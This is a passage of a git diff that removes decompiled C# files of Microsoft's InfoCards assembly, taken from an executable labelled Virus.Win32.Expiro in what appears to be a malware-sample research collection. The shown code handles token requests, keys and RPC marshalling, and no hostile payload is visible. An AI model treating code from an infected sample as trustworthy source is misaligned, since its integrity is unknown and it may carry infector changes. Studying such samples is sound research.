(MetadataSet) null; - metadataExchangeClient.ResolveMetadataReferences = true; - metadataExchangeClient.MaximumResolvedReferences = InfoCardConstants.MaximumMexChainLength; - Exception inner = (Exception) null; - try - { - metadata = metadataExchangeClient.GetMetadata(address); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - } - if (!flag) - { - try - { - metadata = metadataExchangeClient.GetMetadata(address.Uri, MetadataExchangeClientMode.HttpGet); - flag = true; - } - catch (Exception ex) - { - if (InfoCardTrace.IsFatal(ex)) - throw; - else - inner = ex; - } - } - if (!flag) - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("EndpointNotFound"), inner)); - WsdlImporter wsdlImporter = new WsdlImporter(metadata); - wsdlImporter.State.Add((object) "MetadataExchangeClientKey", (object) metadataExchangeClient); - ServiceEndpointCollection endpointCollection = wsdlImporter.ImportAllEndpoints(); - if (endpointCollection != null) - { - foreach (ServiceEndpoint serviceEndpoint2 in (Collection) endpointCollection) - { - if (Utility.CompareUri(serviceEndpoint2.Address.Uri, param.Epr.Uri)) - { - ISecurityCapabilities property = serviceEndpoint2.Binding.GetProperty(new BindingParameterCollection()); - if (property != null && property.SupportedRequestProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportedResponseProtectionLevel == ProtectionLevel.EncryptAndSign && property.SupportsServerAuthentication) - { - serviceEndpoint1 = serviceEndpoint2; - break; - } - } - } - return serviceEndpoint1 != null ? serviceEndpoint1 : throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) param.Epr.Uri.AbsoluteUri))); - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IndigoNoSuitableEndpointsForAddress", (object) param.Epr.Uri.AbsoluteUri))); - } - - private RequestSecurityToken CreateRst( - AddressingVersion version, - InfoCardPolicy policy, - InfoCard card, - bool discloseOptional, - RSAKeyValue val, - byte[] clientEntropyForSymmetric, - CultureInfo displayCulture) - { - InfoCardTrace.ThrowInvalidArgumentConditional(null == policy, nameof (policy)); - InfoCardTrace.ThrowInvalidArgumentConditional(null == card, nameof (card)); - return (RequestSecurityToken) new RequestSecurityTokenForRemoteTokenFactory(new RequestSecurityTokenParameters(version, card, policy, discloseOptional, val, this.m_disclosedClaims, "ProcessRequestSecurityToken", clientEntropyForSymmetric, displayCulture)); - } - - private void GetKeyIdentifierClauses( - GenericXmlSecurityToken tok, - ProtocolProfile profile, - out string internalTokenReference, - out string externalTokenReference) - { - if (tok.InternalTokenReference != null) - { - if (tok.ExternalTokenReference != null) - { - try - { - using (StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture)) - { - profile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), tok.InternalTokenReference); - w.Flush(); - internalTokenReference = w.GetStringBuilder().ToString(); - } - using (StringWriter w = new StringWriter((IFormatProvider) CultureInfo.InvariantCulture)) - { - profile.TokenSerializer.WriteKeyIdentifierClause((XmlWriter) XmlDictionaryWriter.CreateDictionaryWriter((XmlWriter) new XmlTextWriter((TextWriter) w)), tok.ExternalTokenReference); - w.Flush(); - externalTokenReference = w.GetStringBuilder().ToString(); - return; - } - } - catch (XmlException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IPSTSClientInvalidTokenReference"), (Exception) ex)); - } - } - } - throw InfoCardTrace.ThrowHelperError((Exception) new TrustExchangeException(SR.GetString("IPSTSClientInvalidTokenReference"))); - } - - private void EnsureSelfIssuedCardHasLedgerEntryForIssuer( - InfoCard card, - X509Certificate2 issuerCert, - string recipientId, - string recipientOrgId, - Recipient.RecipientCertParameters recipientParams, - string immediateTokenRecipientOrganizationIdentifier) - { - LedgerEntryCollection ledger = card.GetLedger(); - StoreConnection connection = StoreConnection.GetConnection(); - try - { - ledger.Get(connection); - if (!ledger.ContainsKey(recipientId)) - { - connection.BeginTransaction(); - try - { - InfoCardMasterKey masterKey = card.GetMasterKey(connection); - if (card.IsPinProtected) - { - InfoCardTrace.Assert(!string.IsNullOrEmpty(card.Pin), "Should not be null here"); - masterKey.Decrypt(masterKey.GetPinHelper(card.Pin)); - } - Recipient recipient = new Recipient(issuerCert, recipientId, recipientOrgId, false, 0U, recipientParams); - recipient.Save(connection); - LedgerEntry entry = LedgerEntry.NewLedgerEntry(card.Id, recipient, card.Key, immediateTokenRecipientOrganizationIdentifier); - ledger.Add(entry); - entry.Save(connection); - connection.CommitTransaction(); - } - catch - { - connection.RollbackTransaction(); - throw; - } - } - else - InfoCardTrace.Assert(immediateTokenRecipientOrganizationIdentifier == recipientOrgId, "For the self issued case the RP should be same as token recipient"); - } - finally - { - connection.Close(); - } - } - - private void FillOutDisplayToken(InfoCard card, DisplayToken displayToken) - { - if (displayToken.ClaimList == null) - return; - InfoCardClaimCollection claims = card.GetClaims(); - foreach (DisplayClaim claim in displayToken.ClaimList) - { - if (string.IsNullOrEmpty(claim.Name)) - { - string str = (string) null; - string id = claim.Id; - if (!string.IsNullOrEmpty(claim.Id)) - { - if (claims.ContainsKey(id)) - str = claims[id].DisplayTag; - if (string.IsNullOrEmpty(str)) - str = id; - } - else - str = SR.GetString("ServiceDisplayTokenNoClaimName"); - claim.Name = str; - } - } - } - - private bool IsEncryptedXml(XmlElement content) => "EncryptedData" == content.LocalName && "http://www.w3.org/2001/04/xmlenc#" == content.NamespaceURI; - - [ServiceContract(Name = "RequestBrowserToken", Namespace = "http://schemas.xmlsoap.org/ws/2005/05/identity")] - internal interface ISts - { - [OperationContract(Action = "http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue", Name = "ProcessRequestSecurityTokenFeb2005", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue")] - Message ProcessRequestSecurityTokenFeb2005(Message rstMessage); - - [OperationContract(Action = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RST/Issue", Name = "ProcessRequestSecurityTokenWSTrust13", ProtectionLevel = ProtectionLevel.EncryptAndSign, ReplyAction = "http://docs.oasis-open.org/ws-sx/ws-trust/200512/RSTRC/IssueFinal")] - Message ProcessRequestSecurityTokenWSTrust13(Message rstMessage); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs deleted file mode 100644 index 0914681f..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteX509AsymmetricSecurityKey.cs +++ /dev/null @@ -1,80 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteX509AsymmetricSecurityKey -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class RemoteX509AsymmetricSecurityKey : X509AsymmetricSecurityKey, IDisposable - { - private X509Certificate2 m_cert; - private object m_sync; - private bool m_disposed; - - public RemoteX509AsymmetricSecurityKey(X509Certificate2 cert) - : base(cert) - { - this.m_cert = cert; - if (!(this.m_cert.PrivateKey is RemoteCryptoRsaServiceProvider)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - this.m_sync = new object(); - } - - public override AsymmetricAlgorithm GetAsymmetricAlgorithm( - string algorithmUri, - bool privateKey) - { - return this.IsSupportedAlgorithm(algorithmUri) ? base.GetAsymmetricAlgorithm(algorithmUri, privateKey) : throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override AsymmetricSignatureDeformatter GetSignatureDeformatter( - string algorithmUri) - { - return this.IsSupportedAlgorithm(algorithmUri) ? base.GetSignatureDeformatter(algorithmUri) : throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - } - - public override AsymmetricSignatureFormatter GetSignatureFormatter( - string algorithmUri) - { - if (!this.IsSupportedAlgorithm(algorithmUri)) - throw InfoCardTrace.ThrowHelperError((Exception) new NotSupportedException()); - RemoteAsymmetricSignatureFormatter signatureFormatter = new RemoteAsymmetricSignatureFormatter(); - signatureFormatter.SetKey(this.m_cert.PrivateKey); - return (AsymmetricSignatureFormatter) signatureFormatter; - } - - public override bool IsSupportedAlgorithm(string algorithmUri) - { - switch (algorithmUri) - { - case "http://www.w3.org/2000/09/xmldsig#rsa-sha1": - case "http://www.w3.org/2001/04/xmlenc#rsa-1_5": - case "http://www.w3.org/2001/04/xmlenc#rsa-oaep-mgf1p": - return base.IsSupportedAlgorithm(algorithmUri); - default: - return false; - } - } - - void IDisposable.Dispose() - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - this.m_cert.PrivateKey?.Dispose(); - this.m_cert.PublicKey.Key?.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteX509Token.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteX509Token.cs deleted file mode 100644 index a0c2e2e2..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RemoteX509Token.cs +++ /dev/null @@ -1,55 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RemoteX509Token -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Tokens; -using System.Security.Cryptography.X509Certificates; - -namespace Microsoft.InfoCards -{ - internal class RemoteX509Token : X509SecurityToken - { - private List m_keys; - private object m_sync; - private bool m_disposed; - - public RemoteX509Token(X509Certificate2 cert) - : base(cert) - { - this.m_keys = new List(1); - this.m_keys.Add((SecurityKey) new RemoteX509AsymmetricSecurityKey(cert)); - this.m_sync = new object(); - } - - public override ReadOnlyCollection SecurityKeys => this.m_keys.AsReadOnly(); - - public override void Dispose() - { - try - { - if (this.m_disposed) - return; - lock (this.m_sync) - { - if (this.m_disposed) - return; - this.m_disposed = true; - foreach (SecurityKey key in this.m_keys) - { - if (key is IDisposable disposable) - disposable.Dispose(); - } - } - } - finally - { - base.Dispose(); - } - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Request.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Request.cs deleted file mode 100644 index 6ee77397..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/Request.cs +++ /dev/null @@ -1,292 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.Request -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.ComponentModel; -using System.IO; -using System.Net; -using System.Security.Principal; - -namespace Microsoft.InfoCards -{ - internal abstract class Request : IDisposable - { - private static Request.RequestHandleDictionary s_existingClientRequests = new Request.RequestHandleDictionary(); - private static ExceptionTranslationTable s_exceptionToHResultTable = ExceptionTranslationTable.Instance; - private Stream m_inArgs; - private Stream m_outArgs; - private int m_requestHandle; - private static object s_syncRoot = new object(); - private IWebProxy m_proxy; - private object m_syncRoot; - private IntPtr m_rpcHandle; - private Exception m_processingException; - private ExceptionList m_recoverableExceptions; - private WindowsImpersonationContext m_impersonationContext; - private int m_initHResult; - private string m_extendedErrorMessage; - private int m_lcid = -1; - - protected Request( - IntPtr rpcHandle, - Stream inArgs, - Stream outArgs, - ExceptionList recoverableExceptions) - { - this.m_inArgs = inArgs; - this.m_outArgs = outArgs; - this.m_rpcHandle = rpcHandle; - this.m_recoverableExceptions = recoverableExceptions; - this.m_syncRoot = new object(); - this.m_initHResult = 0; - this.InsertThisRequestIntoDictionary(); - } - - public Exception ProcessingException - { - get => this.m_processingException; - set => this.m_processingException = value; - } - - public IWebProxy UserProxy - { - get - { - if (this.m_proxy == null) - this.m_proxy = WebRequest.GetSystemWebProxy(); - return this.m_proxy; - } - } - - public int UserLanguage - { - get - { - InfoCardTrace.Assert(this.m_lcid >= 0, " The user language has not been set in the service"); - return this.m_lcid; - } - set => this.m_lcid = value; - } - - protected Stream InArgs => this.m_inArgs; - - public Stream OutArgs => this.m_outArgs; - - protected object SyncRoot => this.m_syncRoot; - - protected IntPtr RpcHandle => this.m_rpcHandle; - - public int RequestHandle => this.m_requestHandle; - - public abstract WindowsIdentity RequestorIdentity { get; } - - internal void Initialize() - { - try - { - this.OnInitializeAsSystem(); - this.ImpersonateRequestor(); - this.OnInitializeAsUser(); - } - catch (Exception ex) - { - this.m_initHResult = this.HandleException(ex, true); - } - } - - private void ImpersonateRequestor() - { - InfoCardTrace.Assert(null != this.RequestorIdentity, "RequestorIdentity can not be null, the derived class should have populated this on initialize"); - this.m_impersonationContext = !this.RequestorIdentity.IsSystem ? this.RequestorIdentity.Impersonate() : throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("UserIdentityEqualSystemNotSupported"))); - } - - private int GetHResultFromException(Exception e) - { - int hresultFromException = 0; - Type type = e.GetType(); - if (Request.s_exceptionToHResultTable.ContainsKey(type)) - hresultFromException = Request.s_exceptionToHResultTable[type]; - else if (e is Win32Exception) - hresultFromException = ((Win32Exception) e).NativeErrorCode; - else - InfoCardService.Crash(e); - return hresultFromException; - } - - protected int HandleException(Exception e) => this.HandleException(e, false); - - protected int HandleException(Exception e, bool isInitializing) - { - int errorCode = 0; - if (InfoCardTrace.IsFatal(e)) - { - InfoCardTrace.TraceAndLogException(e); - InfoCardService.Crash(e); - } - Exception exception = !(e is InfoCardRequestException) ? e : e.InnerException; - if (isInitializing || !this.OnHandleException(exception, out errorCode)) - { - if (exception is InfoCardBaseException) - { - errorCode = ((InfoCardBaseException) exception).NativeHResult; - this.m_extendedErrorMessage = ((InfoCardBaseException) exception).ExtendedMessage; - } - else if (this.m_recoverableExceptions == ExceptionList.AllNonFatal) - { - CommunicationException e1 = new CommunicationException(SR.GetString("ClientAPIInfocardError"), exception); - InfoCardTrace.TraceAndLogException((Exception) e1); - errorCode = e1.NativeHResult; - } - else if (this.m_recoverableExceptions.Contains(exception.GetType())) - { - errorCode = this.GetHResultFromException(exception); - } - else - { - InfoCardTrace.TraceAndLogException(e); - InfoCardService.Crash(e); - } - } - return errorCode; - } - - protected virtual void PreProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OnMarshalInArgs(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - if (this.InArgs.Position != this.InArgs.Length) - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException(SR.GetString("ServiceInvalidDataInRequest"))); - this.InArgs.Close(); - } - - protected virtual void PostProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OutArgs.Flush(); - this.OnMarshalOutArgs(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - } - - protected virtual void ProcessRequest() - { - this.ProcessingException = (Exception) null; - this.OnProcess(); - if (this.ProcessingException != null) - { - Exception processingException = this.ProcessingException; - this.ProcessingException = (Exception) null; - throw InfoCardTrace.ThrowHelperError((Exception) new InfoCardRequestException(processingException.Message, processingException)); - } - } - - public int DoProcessRequest(out string extendedMessage) - { - int num = this.m_initHResult; - if (num == 0) - { - try - { - this.PreProcessRequest(); - this.ProcessRequest(); - this.PostProcessRequest(); - } - catch (Exception ex) - { - num = this.HandleException(ex); - } - } - extendedMessage = this.m_extendedErrorMessage; - return num; - } - - public static Request FindRequestByHandle(int requestHandle) - { - lock (Request.s_syncRoot) - return Request.s_existingClientRequests[requestHandle]; - } - - public void Dispose() - { - this.OnDisposeAsUser(); - if (this.m_impersonationContext != null) - { - this.m_impersonationContext.Undo(); - this.m_impersonationContext = (WindowsImpersonationContext) null; - } - this.OnDisposeAsSystem(); - this.RemoveThisRequestFromDictionary(); - GC.SuppressFinalize((object) this); - } - - protected virtual void OnInitializeAsSystem() - { - } - - protected virtual void OnInitializeAsUser() - { - } - - protected virtual void OnDisposeAsUser() - { - } - - protected abstract void OnMarshalInArgs(); - - protected abstract void OnProcess(); - - protected abstract void OnMarshalOutArgs(); - - protected virtual void OnDisposeAsSystem() - { - } - - protected virtual bool OnHandleException(Exception e, out int errorCode) - { - errorCode = 0; - return false; - } - - private void InsertThisRequestIntoDictionary() - { - lock (Request.s_syncRoot) - { - int newHandle; - try - { - newHandle = Request.s_existingClientRequests.GetNewHandle(); - } - catch (IndexOutOfRangeException ex) - { - throw InfoCardTrace.ThrowHelperError((Exception) new ServiceBusyException(SR.GetString("TooManyClientRequests"), (Exception) ex)); - } - this.m_requestHandle = newHandle; - Request.s_existingClientRequests[this.m_requestHandle] = this; - } - } - - private void RemoveThisRequestFromDictionary() - { - lock (Request.s_syncRoot) - Request.s_existingClientRequests.Remove(this.m_requestHandle); - } - - private class RequestHandleDictionary : HandleDictionary - { - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestFactory.cs deleted file mode 100644 index ba1b286a..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Microsoft/InfoCards/RequestFactory.cs +++ /dev/null @@ -1,483 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 1D4D5564-A025-490C-AF1D-DF4FBB709D1F -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.ComponentModel; -using System.Diagnostics; -using System.IO; -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Principal; -using System.Text; - -namespace Microsoft.InfoCards -{ - internal class RequestFactory - { - private const int MaxRequestBlobSize = 20971520; - private static readonly RequestFactory.RequestName[] s_uiClientRequests = new RequestFactory.RequestName[4] - { - RequestFactory.RequestName.GetBrowserTokenRequest, - RequestFactory.RequestName.GetTokenRequest, - RequestFactory.RequestName.ImportRequest, - RequestFactory.RequestName.ManageRequest - }; - private static object s_createRequestSync = new object(); - private static Dictionary s_requestMap = new Dictionary(54); - - private RequestFactory() - { - } - - static RequestFactory() - { - RequestFactory.s_requestMap["CloseCryptoHandleRequest"] = RequestFactory.RequestName.CloseCryptoHandleRequest; - RequestFactory.s_requestMap["DecryptRequest"] = RequestFactory.RequestName.DecryptRequest; - RequestFactory.s_requestMap["EncryptRequest"] = RequestFactory.RequestName.EncryptRequest; - RequestFactory.s_requestMap["GenerateDerivedKeyRequest"] = RequestFactory.RequestName.GenerateDerivedKeyRequest; - RequestFactory.s_requestMap["GetBrowserTokenRequest"] = RequestFactory.RequestName.GetBrowserTokenRequest; - RequestFactory.s_requestMap["GetCryptoTransformRequest"] = RequestFactory.RequestName.GetCryptoTransformRequest; - RequestFactory.s_requestMap["GetKeyedHashRequest"] = RequestFactory.RequestName.GetKeyedHashRequest; - RequestFactory.s_requestMap["GetTokenRequest"] = RequestFactory.RequestName.GetTokenRequest; - RequestFactory.s_requestMap["HashCoreRequest"] = RequestFactory.RequestName.HashCoreRequest; - RequestFactory.s_requestMap["HashFinalRequest"] = RequestFactory.RequestName.HashFinalRequest; - RequestFactory.s_requestMap["ImportRequest"] = RequestFactory.RequestName.ImportRequest; - RequestFactory.s_requestMap["ManageRequest"] = RequestFactory.RequestName.ManageRequest; - RequestFactory.s_requestMap["SignHashRequest"] = RequestFactory.RequestName.SignHashRequest; - RequestFactory.s_requestMap["TransformBlockRequest"] = RequestFactory.RequestName.TransformBlockRequest; - RequestFactory.s_requestMap["TransformFinalBlockRequest"] = RequestFactory.RequestName.TransformFinalBlockRequest; - RequestFactory.s_requestMap["VerifyHashRequest"] = RequestFactory.RequestName.VerifyHashRequest; - RequestFactory.s_requestMap["BeginCreateSecurityTokenRequest"] = RequestFactory.RequestName.BeginCreateSecurityTokenRequest; - RequestFactory.s_requestMap["BeginSelectCardRequest"] = RequestFactory.RequestName.BeginSelectCardRequest; - RequestFactory.s_requestMap["CancelAsyncOperationRequest"] = RequestFactory.RequestName.CancelAsyncOperationRequest; - RequestFactory.s_requestMap["CheckStoreFileValidityRequest"] = RequestFactory.RequestName.CheckStoreFileValidityRequest; - RequestFactory.s_requestMap["CreateCardRequest"] = RequestFactory.RequestName.CreateCardRequest; - RequestFactory.s_requestMap["DeleteCardRequest"] = RequestFactory.RequestName.DeleteCardRequest; - RequestFactory.s_requestMap["DeleteStoreRequest"] = RequestFactory.RequestName.DeleteStoreRequest; - RequestFactory.s_requestMap["EndCreateSecurityTokenRequest"] = RequestFactory.RequestName.EndCreateSecurityTokenRequest; - RequestFactory.s_requestMap["EndSelectCardRequest"] = RequestFactory.RequestName.EndSelectCardRequest; - RequestFactory.s_requestMap["ExportFileRequest"] = RequestFactory.RequestName.ExportFileRequest; - RequestFactory.s_requestMap["GetCertificateRequest"] = RequestFactory.RequestName.GetCertificateRequest; - RequestFactory.s_requestMap["GetImportedCardRequest"] = RequestFactory.RequestName.GetImportedCardRequest; - RequestFactory.s_requestMap["GetImportFileNameRequest"] = RequestFactory.RequestName.GetImportFileNameRequest; - RequestFactory.s_requestMap["GetLedgerEntryForRecipientRequest"] = RequestFactory.RequestName.GetLedgerEntryForRecipientRequest; - RequestFactory.s_requestMap["GetLedgerRequest"] = RequestFactory.RequestName.GetLedgerRequest; - RequestFactory.s_requestMap["GetPolicyDetailsRequest"] = RequestFactory.RequestName.GetPolicyDetailsRequest; - RequestFactory.s_requestMap["GetRecipientListRequest"] = RequestFactory.RequestName.GetRecipientListRequest; - RequestFactory.s_requestMap["GetRecipientRequest"] = RequestFactory.RequestName.GetRecipientRequest; - RequestFactory.s_requestMap["GetUserPreferenceRequest"] = RequestFactory.RequestName.GetUserPreferenceRequest; - RequestFactory.s_requestMap["ImportFileRequest"] = RequestFactory.RequestName.ImportFileRequest; - RequestFactory.s_requestMap["InfoCardListRequest"] = RequestFactory.RequestName.InfoCardListRequest; - RequestFactory.s_requestMap["ListCardsInFileRequest"] = RequestFactory.RequestName.ListCardsInFileRequest; - RequestFactory.s_requestMap["QueryStoreStatusRequest"] = RequestFactory.RequestName.QueryStoreStatusRequest; - RequestFactory.s_requestMap["ResolvePPIDRequest"] = RequestFactory.RequestName.ResolvePPIDRequest; - RequestFactory.s_requestMap["SaveCardRequest"] = RequestFactory.RequestName.SaveCardRequest; - RequestFactory.s_requestMap["SaveLedgerEntryRequest"] = RequestFactory.RequestName.SaveLedgerEntryRequest; - RequestFactory.s_requestMap["SaveRecipientRequest"] = RequestFactory.RequestName.SaveRecipientRequest; - RequestFactory.s_requestMap["SendAgentStatusRequest"] = RequestFactory.RequestName.SendAgentStatusRequest; - RequestFactory.s_requestMap["SetUserPreferenceRequest"] = RequestFactory.RequestName.SetUserPreferenceRequest; - RequestFactory.s_requestMap["BeginGetFileNameFromUserRequest"] = RequestFactory.RequestName.BeginGetFileNameFromUserRequest; - RequestFactory.s_requestMap["EndGetFileNameFromUserRequest"] = RequestFactory.RequestName.EndGetFileNameFromUserRequest; - RequestFactory.s_requestMap["UIEndRequest"] = RequestFactory.RequestName.UIEndRequest; - RequestFactory.s_requestMap["ListDependantCardsRequest"] = RequestFactory.RequestName.ListDependantCardsRequest; - RequestFactory.s_requestMap["GetLastErrorDetailsRequest"] = RequestFactory.RequestName.GetLastErrorDetailsRequest; - RequestFactory.s_requestMap["GetIsBrowserClientRequest"] = RequestFactory.RequestName.GetIsBrowserClientRequest; - RequestFactory.s_requestMap["SetUserLanguageRequest"] = RequestFactory.RequestName.SetUserLanguageRequest; - RequestFactory.s_requestMap["GetCardDetailsRequest"] = RequestFactory.RequestName.GetCardDetailsRequest; - RequestFactory.s_requestMap["UnlockCardRequest"] = RequestFactory.RequestName.UnlockCardRequest; - } - - internal static int ProcessNewRequest( - int parentRequestHandle, - IntPtr rpcHandle, - IntPtr inArgs, - out IntPtr outArgs) - { - InfoCardTrace.Assert(null == WindowsIdentity.GetCurrent(true), "unexpected user context on incoming thread"); - int num = 0; - outArgs = IntPtr.Zero; - if (IntPtr.Zero == inArgs) - return -1073413888; - if (IntPtr.Zero == rpcHandle) - return -1073413888; - try - { - RpcRequest structure = (RpcRequest) Marshal.PtrToStructure(inArgs, typeof (RpcRequest)); - if (structure.Length < 0 || structure.Length > 20971520 || structure.Type == null || structure.Length > 0 && IntPtr.Zero == structure.Data) - return -1073413888; - Stream inStream; - if (structure.Length != 0) - { - byte[] numArray = new byte[structure.Length]; - Marshal.Copy(structure.Data, numArray, 0, structure.Length); - inStream = (Stream) new MemoryStream(numArray, 0, numArray.Length, false, false); - } - else - inStream = (Stream) new MemoryStream(); - MemoryStream memoryStream = new MemoryStream(); - if (parentRequestHandle == 0) - { - using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) - { - using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream) memoryStream)) - { - num = clientRequestInstance.DoProcessRequest(out string _); - RpcResponse outArgs1; - RequestFactory.ConvertStreamToIntPtr(memoryStream, out outArgs1); - outArgs = outArgs1.Marshal(); - } - } - } - else - { - ClientUIRequest requestByHandle = (ClientUIRequest) Request.FindRequestByHandle(parentRequestHandle); - InfoCardTrace.Assert(null != requestByHandle, "ParentRequest is null"); - using (UIAgentRequest agentRequestInstance = RequestFactory.CreateUIAgentRequestInstance(requestByHandle, structure.Type, rpcHandle, inStream, (Stream) memoryStream)) - { - string extendedMessage; - num = agentRequestInstance.DoProcessRequest(out extendedMessage); - if (num != 0) - Utility.SerializeString(new BinaryWriter((Stream) memoryStream, Encoding.Unicode), extendedMessage); - RpcResponse outArgs2; - RequestFactory.ConvertStreamToIntPtr(memoryStream, out outArgs2); - outArgs = outArgs2.Marshal(); - } - } - } - catch (TargetInvocationException ex) - { - if (ex.InnerException != null && ex.InnerException is InfoCardBaseException) - num = ((InfoCardBaseException) ex.InnerException).NativeHResult; - else - InfoCardService.Crash((Exception) ex); - } - catch (InfoCardBaseException ex) - { - num = ex.NativeHResult; - } - catch (OutOfMemoryException ex) - { - num = -2147024882; - } - catch (EndOfStreamException ex) - { - num = -1073413863; - } - catch (Exception ex) - { - InfoCardTrace.TraceAndLogException(ex); - InfoCardService.Crash(ex); - } - return num; - } - - private static void ConvertStreamToIntPtr(MemoryStream outStream, out RpcResponse outArgs) - { - byte[] buffer = outStream.GetBuffer(); - outArgs = new RpcResponse(); - outArgs.Length = 0; - outArgs.Data = IntPtr.Zero; - if (buffer == null || buffer.Length == 0) - return; - IntPtr destination = Marshal.AllocHGlobal(buffer.Length); - Marshal.Copy(buffer, 0, destination, buffer.Length); - outArgs.Data = destination; - outArgs.Length = buffer.Length; - } - - private static ClientRequest CreateClientRequestInstance( - UIAgentMonitorHandle monitorHandle, - string reqName, 